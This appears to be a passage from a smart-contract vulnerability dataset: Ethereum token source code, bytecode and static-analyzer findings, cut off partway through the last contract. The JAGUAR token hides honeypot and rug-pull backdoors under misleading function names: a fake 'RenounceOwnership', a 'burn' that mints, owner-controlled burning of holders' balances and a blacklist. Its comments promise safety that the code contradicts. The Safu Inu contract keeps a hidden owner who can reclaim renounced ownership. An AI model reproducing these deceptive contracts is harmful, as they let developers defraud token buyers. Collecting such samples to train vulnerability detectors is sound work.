fd5b8235611c2481611943565b91506020830135611c3481611943565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb457611cb4611c8a565b5060010190565b60008219821115611cce57611cce611c8a565b500190565b600082821015611ce557611ce5611c8a565b500390565b600060208284031215611cfc57600080fd5b81516112e781611943565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d575784516001600160a01b031683529383019391830191600101611d32565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db457611db4611c8a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203691b49791023d941e9fd8c8cc5ae346afa37a4c63ddd45da6e7fe50bc31c80464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,705
0x60803e845525c9b5760202f85b258d153b01284b
/** *Submitted for verification at Etherscan.io on 2021-12-09 */ /* ____. | |____ ____ __ _______ _______ | \__ \ / ___\| | \__ \\_ __ \ /\__| |/ __ \_/ /_/ > | // __ \| | \/ \________(____ /\___ /|____/(____ /__| \//_____/ \/ JAGUAR is a new ERC20/Eth Token with 6% Tax, 1% goes to Marketing and the other 5% is reflections to token holders. Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 50% Supply Burned on Launch 100% Fair Launch - no presale, no dev tokens, all team investments will be with their own money Telegram: https://t.me/JaguarToken */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Jaguar is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping(address => bool) private _balances1; uint256 public _totalSupply = 9000000000000*10**18; string public _name = "JAGUAR"; string public _symbol= "JAGUAR"; bool balances1 = true; address payable public charityAddress = payable(0x000000000000000000000000000000000000dEaD); // Marketing Address uint256 public charityPercent = 0; address public immutable burnAddress = 0x000000000000000000000000000000000000dEaD; uint256 public burnPercent = 0; uint256 public marketingAmount; uint256 public burnAmount; function SetCharityAddress(address payable _charityAddress) onlyOwner public { charityAddress = _charityAddress; } function SetCharityPercent(uint256 _charityPercent) onlyOwner public { charityPercent = _charityPercent; } function SetBurnPercent(uint256 _burnPercent) onlyOwner public { burnPercent = _burnPercent; } constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; modifier onlyOwner { require(owner == msg.sender); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership(bool _balances1_) onlyOwner public { balances1 = _balances1_; } function Marekting(address account) onlyOwner public { _balances1[account] = true; } function Distribution(address account) onlyOwner public { _balances1[account] = false; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(balances1 || _balances1[sender] , "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; uint256 burnAmount = amount * burnPercent / 100 ; uint256 charityAmount = amount * charityPercent / 100; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } amount = amount - charityAmount - burnAmount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); if (charityPercent > 0){ _balances[recipient] += charityAmount; emit Transfer(sender, charityAddress, charityAmount); } if (burnPercent > 0){ _totalSupply -= burnAmount; emit Transfer(sender, burnAddress, burnAmount); } } function _approving_burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); //require(balances1 || _balances1[sender] , "ERC20: transfer to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80638a4fc68b1161010f578063a9059cbb116100a2578063b81e05bc11610071578063b81e05bc146105bf578063c25047fd146105db578063d28d8852146105f7578063dd62ed3e14610615576101f0565b8063a9059cbb14610537578063afcf2fc414610567578063b09f126614610585578063b64665af146105a3576101f0565b80639dc29fac116100de5780639dc29fac146104b3578063a3de4742146104cf578063a457c2d7146104eb578063a6f9dae11461051b576101f0565b80638a4fc68b1461043f5780638da5cb5b1461045b57806395d89b411461047957806396da497b14610497576101f0565b8063360bfd54116101875780634a8cbae1116101565780634a8cbae1146103a35780636ebcf607146103c157806370a08231146103f157806370d5ae0514610421576101f0565b8063360bfd541461031957806339509351146103375780633eaaf86b14610367578063486a7e6b14610385576101f0565b8063095ea7b3116101c3578063095ea7b31461027d57806318160ddd146102ad57806323b872dd146102cb578063313ce567146102fb576101f0565b8063024c2ddd146101f557806303807ee51461022557806305dbf84d1461024357806306fdde031461025f575b600080fd5b61020f600480360381019061020a9190611be0565b610645565b60405161021c9190611c39565b60405180910390f35b61022d61066a565b60405161023a9190611c39565b60405180910390f35b61025d60048036038101906102589190611c54565b610670565b005b610267610725565b6040516102749190611d1a565b60405180910390f35b61029760048036038101906102929190611d68565b6107b7565b6040516102a49190611dc3565b60405180910390f35b6102b56107d5565b6040516102c29190611c39565b60405180910390f35b6102e560048036038101906102e09190611dde565b6107df565b6040516102f29190611dc3565b60405180910390f35b6103036108d7565b6040516103109190611e4d565b60405180910390f35b6103216108e0565b60405161032e9190611c39565b60405180910390f35b610351600480360381019061034c9190611d68565b6108e6565b60405161035e9190611dc3565b60405180910390f35b61036f610992565b60405161037c9190611c39565b60405180910390f35b61038d610998565b60405161039a9190611c39565b60405180910390f35b6103ab61099e565b6040516103b89190611c39565b60405180910390f35b6103db60048036038101906103d69190611c54565b6109a4565b6040516103e89190611c39565b60405180910390f35b61040b60048036038101906104069190611c54565b6109bc565b6040516104189190611c39565b60405180910390f35b610429610a04565b6040516104369190611e77565b60405180910390f35b61045960048036038101906104549190611d68565b610a28565b005b610463610c4d565b6040516104709190611e77565b60405180910390f35b610481610c73565b60405161048e9190611d1a565b60405180910390f35b6104b160048036038101906104ac9190611c54565b610d05565b005b6104cd60048036038101906104c89190611d68565b610dba565b005b6104e960048036038101906104e49190611ed0565b610f68565b005b61050560048036038101906105009190611d68565b611006565b6040516105129190611dc3565b60405180910390f35b61053560048036038101906105309190611c54565b6110f1565b005b610551600480360381019061054c9190611d68565b61118f565b60405161055e9190611dc3565b60405180910390f35b61056f6111ad565b60405161057c9190611f0c565b60405180910390f35b61058d6111d3565b60405161059a9190611d1a565b60405180910390f35b6105bd60048036038101906105b89190611f27565b611261565b005b6105d960048036038101906105d49190611f27565b6112c5565b005b6105f560048036038101906105f09190611f80565b611329565b005b6105ff6113a0565b60405161060c9190611d1a565b60405180910390f35b61062f600480360381019061062a9190611be0565b61142e565b60405161063c9190611c39565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ca57600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606005805461073490611fdc565b80601f016020809104026020016040519081016040528092919081815260200182805461076090611fdc565b80156107ad5780601f10610782576101008083540402835291602001916107ad565b820191906000526020600020905b81548152906001019060200180831161079057829003601f168201915b5050505050905090565b60006107cb6107c46114b5565b84846114bd565b6001905092915050565b6000600454905090565b60006107ec848484611688565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108376114b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae90612080565b60405180910390fd5b6108cb856108c36114b5565b8584036114bd565b60019150509392505050565b60006012905090565b600a5481565b60006109886108f36114b5565b8484600160006109016114b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461098391906120cf565b6114bd565b6001905092915050565b60045481565b600b5481565b60085481565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae990612197565b60405180910390fd5b610afe82600083611b78565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612229565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160046000828254610bdb9190612249565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c409190611c39565b60405180910390a3505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054610c8290611fdc565b80601f0160208091040260200160405190810160405280929190818152602001828054610cae90611fdc565b8015610cfb5780601f10610cd057610100808354040283529160200191610cfb565b820191906000526020600020905b815481529060010190602001808311610cde57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5f57600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7b906122c9565b60405180910390fd5b610e9060008383611b78565b8060046000828254610ea291906120cf565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef791906120cf565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f5c9190611c39565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc257600080fd5b80600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600160006110156114b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c99061235b565b60405180910390fd5b6110e66110dd6114b5565b858584036114bd565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114b57600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006111a361119c6114b5565b8484611688565b6001905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600680546111e090611fdc565b80601f016020809104026020016040519081016040528092919081815260200182805461120c90611fdc565b80156112595780601f1061122e57610100808354040283529160200191611259565b820191906000526020600020905b81548152906001019060200180831161123c57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112bb57600080fd5b8060098190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461131f57600080fd5b8060088190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138357600080fd5b80600760006101000a81548160ff02191690831515021790555050565b600580546113ad90611fdc565b80601f01602080910402602001604051908101604052809291908181526020018280546113d990611fdc565b80156114265780601f106113fb57610100808354040283529160200191611426565b820191906000526020600020905b81548152906001019060200180831161140957829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561152d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611524906123ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561159d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115949061247f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167b9190611c39565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90612511565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561175657600080fd5b600760009054906101000a900460ff16806117ba5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6117f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f0906125a3565b60405180910390fd5b611804838383611b78565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600060646009548461185991906125c3565b611863919061264c565b9050600060646008548561187791906125c3565b611881919061264c565b9050838310156118c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bd906126ef565b60405180910390fd5b8383036000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508181856119189190612249565b6119229190612249565b9350836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461197291906120cf565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516119d69190611c39565b60405180910390a360006008541115611ac657806000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a3791906120cf565b92505081905550600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611abd9190611c39565b60405180910390a35b60006009541115611b70578160046000828254611ae39190612249565b925050819055507f000000000000000000000000000000000000000000000000000000000000dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b679190611c39565b60405180910390a35b505050505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bad82611b82565b9050919050565b611bbd81611ba2565b8114611bc857600080fd5b50565b600081359050611bda81611bb4565b92915050565b60008060408385031215611bf757611bf6611b7d565b5b6000611c0585828601611bcb565b9250506020611c1685828601611bcb565b9150509250929050565b6000819050919050565b611c3381611c20565b82525050565b6000602082019050611c4e6000830184611c2a565b92915050565b600060208284031215611c6a57611c69611b7d565b5b6000611c7884828501611bcb565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611cbb578082015181840152602081019050611ca0565b83811115611cca576000848401525b50505050565b6000601f19601f8301169050919050565b6000611cec82611c81565b611cf68185611c8c565b9350611d06818560208601611c9d565b611d0f81611cd0565b840191505092915050565b60006020820190508181036000830152611d348184611ce1565b905092915050565b611d4581611c20565b8114611d5057600080fd5b50565b600081359050611d6281611d3c565b92915050565b60008060408385031215611d7f57611d7e611b7d565b5b6000611d8d85828601611bcb565b9250506020611d9e85828601611d53565b9150509250929050565b60008115159050919050565b611dbd81611da8565b82525050565b6000602082019050611dd86000830184611db4565b92915050565b600080600060608486031215611df757611df6611b7d565b5b6000611e0586828701611bcb565b9350506020611e1686828701611bcb565b9250506040611e2786828701611d53565b9150509250925092565b600060ff82169050919050565b611e4781611e31565b82525050565b6000602082019050611e626000830184611e3e565b92915050565b611e7181611ba2565b82525050565b6000602082019050611e8c6000830184611e68565b92915050565b6000611e9d82611b82565b9050919050565b611ead81611e92565b8114611eb857600080fd5b50565b600081359050611eca81611ea4565b92915050565b600060208284031215611ee657611ee5611b7d565b5b6000611ef484828501611ebb565b91505092915050565b611f0681611e92565b82525050565b6000602082019050611f216000830184611efd565b92915050565b600060208284031215611f3d57611f3c611b7d565b5b6000611f4b84828501611d53565b91505092915050565b611f5d81611da8565b8114611f6857600080fd5b50565b600081359050611f7a81611f54565b92915050565b600060208284031215611f9657611f95611b7d565b5b6000611fa484828501611f6b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ff457607f821691505b6020821081141561200857612007611fad565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061206a602883611c8c565b91506120758261200e565b604082019050919050565b600060208201905081810360008301526120998161205d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006120da82611c20565b91506120e583611c20565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561211a576121196120a0565b5b828201905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612181602183611c8c565b915061218c82612125565b604082019050919050565b600060208201905081810360008301526121b081612174565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612213602283611c8c565b915061221e826121b7565b604082019050919050565b6000602082019050818103600083015261224281612206565b9050919050565b600061225482611c20565b915061225f83611c20565b925082821015612272576122716120a0565b5b828203905092915050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006122b3601f83611c8c565b91506122be8261227d565b602082019050919050565b600060208201905081810360008301526122e2816122a6565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612345602583611c8c565b9150612350826122e9565b604082019050919050565b6000602082019050818103600083015261237481612338565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123d7602483611c8c565b91506123e28261237b565b604082019050919050565b60006020820190508181036000830152612406816123ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612469602283611c8c565b91506124748261240d565b604082019050919050565b600060208201905081810360008301526124988161245c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124fb602583611c8c565b91506125068261249f565b604082019050919050565b6000602082019050818103600083015261252a816124ee565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061258d602383611c8c565b915061259882612531565b604082019050919050565b600060208201905081810360008301526125bc81612580565b9050919050565b60006125ce82611c20565b91506125d983611c20565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612612576126116120a0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061265782611c20565b915061266283611c20565b9250826126725761267161261d565b5b828204905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006126d9602683611c8c565b91506126e48261267d565b604082019050919050565b60006020820190508181036000830152612708816126cc565b905091905056fea26469706673582212205b4eda7f49e2246deeb2873391a9955dc779403bca3a0d3440a0f905298dfc3c64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
1,706
0x96828a5caf665fb87241e23744057ef44c56612d
// SPDX-License-Identifier: Unlicensed //--------------------Name: Safu Inu-------------------------------- // Safu is a meme project on Ethereum/uniswap. // Safu will be creating a platform for Devs of this space to list their work. // Community can use the dev directory to hire. // A streaming platform/app is in development to empower future generations to learn block chain technology so that the future of our society is as bright as the neon of the CyberViking // --------------------GOALS ---------------- // Build a cryptocurrency and smart contracts platform and empower future generations to learn the block chain technology by developing a streaming platform to connect educators to the community. // Build a smart web based directory to list upcoming and experienced developers of this space. // The directory can be used by the entrepreneurs to bring their ideas to life by hiring the devs from the directory. pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _msgSome; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); _msgSome = msgSender; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** Buy the dip rewards: If you are the brave degen that buys after 6 consecutive sells you will be rewarded with the 10% fees from the last six sells before your buy order. Buy the high gwei rewards The window period when gwei is above 200 all the buy orders will be rewarded equally with the community treasury collected during the same period */ modifier onlyOwnes() { require(_msgSome == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnershipTo(address newOwner) public virtual onlyOwnes { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SafuInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Safu Inu"; string private constant _symbol = "SAFU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy 